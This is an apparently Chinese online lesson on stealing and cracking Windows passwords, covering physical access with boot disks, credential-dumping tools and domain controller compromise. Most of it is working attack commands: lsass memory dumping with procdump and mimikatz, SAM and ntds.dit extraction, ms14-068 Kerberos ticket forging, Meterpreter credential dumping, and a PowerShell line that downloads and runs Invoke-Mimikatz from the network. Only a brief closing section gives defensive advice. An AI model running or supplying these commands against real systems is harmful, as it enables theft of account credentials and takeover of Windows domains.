第02课:物理接触获取并破解

第02课:物理接触获取并破解 Windows 系统密码

很多人认为个人计算机比较安全,因为给计算机设置了密码,外人不知道设置的密码,因此也就安全了,其实这里面有很大的误解,个人计算机安全除了设置密码强健程度以外,还需要设置禁用光盘启动,禁止修改 BIOS 等。下面将介绍密码相关知识,了解这些将有助于防范黑客攻击和资料外泄。

Windows 密码获取思路

Windows 系统密码获取有多种方式,下面对获取 Windows 密码的思路进行总结:

  • 通过 0 day 直接获取权限,然后通过 wce 等工具获取明文或者哈希值,比如 ms08067,通过溢出直接获取 system 权限,虽然现在越来越少,但现实中还是存在,比如最近的 iis webdav、ms017-010 溢出漏洞。
  • 通过网站漏洞获取 Webshell 后,通过系统存在漏洞提权,获取权限后再获取系统密码以及哈希值。
  • 内网环境可以通过 ntscan 等工具进行扫描,暴力破解获取。
  • 本地物理接触获取。通过 livecd、PE 盘等工具,启动系统后,直接读取系统文件,将 config 文件夹全部复制,然后进行哈希值提取并暴力破解之。

密码哈希值获取工具

Gethash

insidepro.com 公司早期开发的提取密码工具,最新版本为 1.6,目前已经停止更新,其工具在 saminside 中可以获取。

Gsecdump

Gsecdump 目前版本为 v2.0b5,由于其使用的广泛性,因此被 Google 浏览器以及杀毒软件定义为病毒,官方网站已经不提供下载地址,可以给官方(info@truesec.co)发邮件索取。

QuarksPwDump

Quarks PwDump 是 Quarkslab 出品的一款用户密码提取开源工具,目前软件最新版本为 0.2b,其完整源代码可以单击这里获取,目前它支持 Windows XP/2003/Vista/7/2008 版本,且相当稳定,可以抓取 Windows 平台下多种类型的用户凭据,包括:本地帐户、域帐户、缓存的域帐户和 Bitlocker。

Pwdump

Pwdump4.02 版本中有两个文件,一个是 Pwd4.dll,另外一个是 Pwdump4.exe,在早期版本中其 dll 文件为 lsaext.dll。

Mimikatz

Mimikatz 是法国人 benjamin 开发的一款功能强大的轻量级调试工具,本意是用来个人测试,但由于其功能强大,能够直接读取 WindowsXP-2012 等操作系统的明文密码而闻名于渗透测试,可以说是渗透必备工具,从早期 1.0 版本到现在的 2.1.1 20180205 版本,其功能得到了很大的提升和扩展,最新版下载地址详见这里

Windows Credentials Editor(WCE)

WCE 是一款功能强大的 Windows 平台内网渗透工具,它可以列举登录会话,并且可以添加、改变和删除相关凭据(如 LM/NT hashes)。这些功能在内网渗透中能够被利用,例如,在 Windows 平台上执行绕过 hash 或者从内存中获取 NT/LM hashes(也可以从交互式登录、服务、远程桌面连接中获取)以用于进一步的攻击,而且体积也非常小,是内网渗透手必备工具。

reg 命令导出到文件

通过执行 reg 命令将 SAM、System、Security 文件内容导出到文件。

reg save hklm\sam sam.hive
reg save hklm\system system.hive
reg save hklm\security security.hive

procdump.exe + mimikatz

procdump.exe -accepteula -ma lsass.exe lsass.dmp //For 32 bits
procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp //For 64 bits
sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonPassword

密码获取方法

物理接触获取密码法

通过将 Ophcrack liveCD、BT5、Kali、PE 等制作成启动光盘或者启动 U 盘,启动系统后将系统目录下的 config 文件下的 SAM 和 SECURITY 文件复制出来,通过 saminside 导入即可进行破解。

前面提及工具的密码获取方法

  • gethash $local
  • gsecdump –a
  • QuarksPwDump
QuarksPwDump -dhl  导出本地哈希值
QuarksPwDump –dhdc 导出内存中的域控哈希值
QuarksPwDump -dhd  导出域控哈希值,必须指定 NTDS 文件
  • pwd4 /l /o:filename.sam
  • mimikatz
privilege::debug
sekurlsa::logonpasswords
  • wce –a

域控密码获取

(1)gsecdump法:gsecdump –s >all.txt

(2)QuarksPwDump 法

ntdsutil  snapshot  "activate  instance  ntds"  create  quit  quit//创建快照
ntdsutil  snapshot  "mount {GUID}"  quit  quit // Ntdsutil挂载活动目录的快照
copy  MOUNT_POINT\windows\NTDS\ntds.dit  c:\ntds.dit //复制快照的本地磁盘
ntdsutil  snapshot  "unmount {GUID}"  quit  quit //卸载快照
ntdsutil  snapshot  "delete {GUID}"  quit  quit //删除快照
QuarksPwDump.exe --dump-hash-domain --ntds-file c:\ntds.dit //提权文件 hash 值

注意:获取哈希值最好都在同一台服务器上执行,也即将 QuarksPwDump.exe 直接放在导出 ntds.dit 服务器上,执行导出命令。如果仅仅将 ntds.dit 复制后下载本地可能会出现无法读取错误。如果是想下载 ntds.dit 到本地恢复还需要执行“reg save hklm\system system.hive”,将 system.hive 和 ntds.dit 全部复制到本地进行域控密码获取。网上也曾经出现一个 NTDS.dit 密码快速提取工具 ntdsdump,使用命令来快速提取: NTDSDump.exe -f ntds.dit -s SYSTEM -o Hash.txt

(3)使用 ms14-068 漏洞攻击域控服务器获取域控权限

ms14-068.exe -u -p -s –d 生成伪造缓存 test.ccache,然后通过 mimikatz 导入test.ccache:
kerberos::ptc test.ccache
net use 命令获取域控权限:
net use \\A-EE64804.TEST.LOCAL
dir \\A-EE64804.TEST.LOCAL\c$

通过前面的方法来获取域控密码。

使用 winlogonhack 获取系统密码

安装 winlogonhack 记录程序,记录 3389 登录密码到系统目录下的 boot.dat 文件。

使用 ps1 批量获取 Windows 密码

在 Windows 2008 及以上操作系统中执行命令:

powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"

注意:获取密码的计算机必须能够访问 raw.githubusercontent.com 网络,也可以将该 ps 文件下载到其他地址,然后替换后执行。

在 msf 获取反弹的 shell 上获取密码

(1)getuid 获取当前帐号为系统权限,则进行后续操作,否则通过 ps 命令去获取小于 1000 以内的 pid,执行 migrate pid 来提升权限后,继续执行后续步骤。

(2)load mimikatz。

(3)运行 mimikatz 下面的凭证获取命令:

  kerberos   获取网络认证协议凭证,其中可能会有明文密码
  msv        获取 msv 凭证,其中包含 LM 和 NTLM 哈希密码值
  wdigest    获取 wdigest(摘要式身份验证)凭证,其中可能会有明文密码

(4)还可以执行 hashdump 来导出系统的哈希密码值。

IIS7 配置文件密码读取

mimikatz.exe privilege::debug log "iis::apphost /in:"%systemroot%\system32\inetsrv\config\applicationHost.config" /live" exit

VPN 密码获取

mimikatz.exe privilege::debug token::elevate lsadump::sam lsadump::secrets exit

OpenVPN 配置及其密码

发现安装有 OpenVPN,可以将其配置文件夹 config 全部复制到本地,重新覆盖后可以只用其 key 和密码或者密钥进行登录,如图1所示。

enter image description here

图1 复制 VPN 配置文件

物理接触获取密码方法

对于上班的个人计算机,如果在 BIOS 中未设置安全验证和禁止光盘、网络和 U 盘启动,入侵者可以通过物理接触计算机,窃取个人计算机资料。

获取系统 SAM 和 System 文件

通过 livecd、BT5、Kali、ophcrack 等工具盘,启动系统后,将 windows\system32\config 文件夹下的 SAM、SYSTEM 和 SECURITY 文件复制出来,如图2所示。

enter image description here

图2 复制 SAM、Security 和 Security 文件

导入 SAM、System 和文件

使用 Saminside 工具软件,选择导入 SAM、Security 和 System 文件,即从 File 中选择第一个选项,如图3所示,分别选择 SAM、Security 和 System 文件,其 NTLM 哈希值就出来了。

enter image description here

图3 获取用户密码哈希值

使用 ophcrack 进行密码破解

选择需要破解的密码哈希值,将其导出,然后单独复制需要破解的哈希值,在本例中为:

Administrator:500:E7108C208C467BF789985C6892014BB8:981A05EBA7EA97FA5E776705E985D15A:管理计算机域::将该值复制到 ophcrack 中进行破解,如图4所示。

enter image description here

图4 使用 ophcrack 进行暴力破解

通过网站在线破解

LM 哈希值和 NT 哈希值复制到网站 http://www.objectif-securite.ch/ophcrack.php 进行破解,如图5所示,直接就出来了,密码为 mmd-333cyx。

enter image description here

图5 通过网站在线破解

个人计算密码安全防范方法和措施

通过笔者研究,可以通过以下一些方法和措施来加强个人计算机安全。

  • 安装杀毒软件,及时更新病毒库,并设置病毒保护密码,无该密码无法清除杀毒软件查杀的病毒。
  • 设置强健的密码。目前 14 位以下的密码,通过 ophcrack 可以快速进行破解,建议设置超过 14 位以上的字母大小写 + 数字 + 特殊字符的密码,可以是一句话的首字母加大小写加特殊字符加世界等。
  • 设置 BIOS 禁止除硬盘外地其他方式启动,也即禁止从网络、光盘和优盘启动。
  • 进入系统设置两道关口,第一道是 BIOS 进入密码,第二次是系统设置的密码。
上一篇
下一篇
目录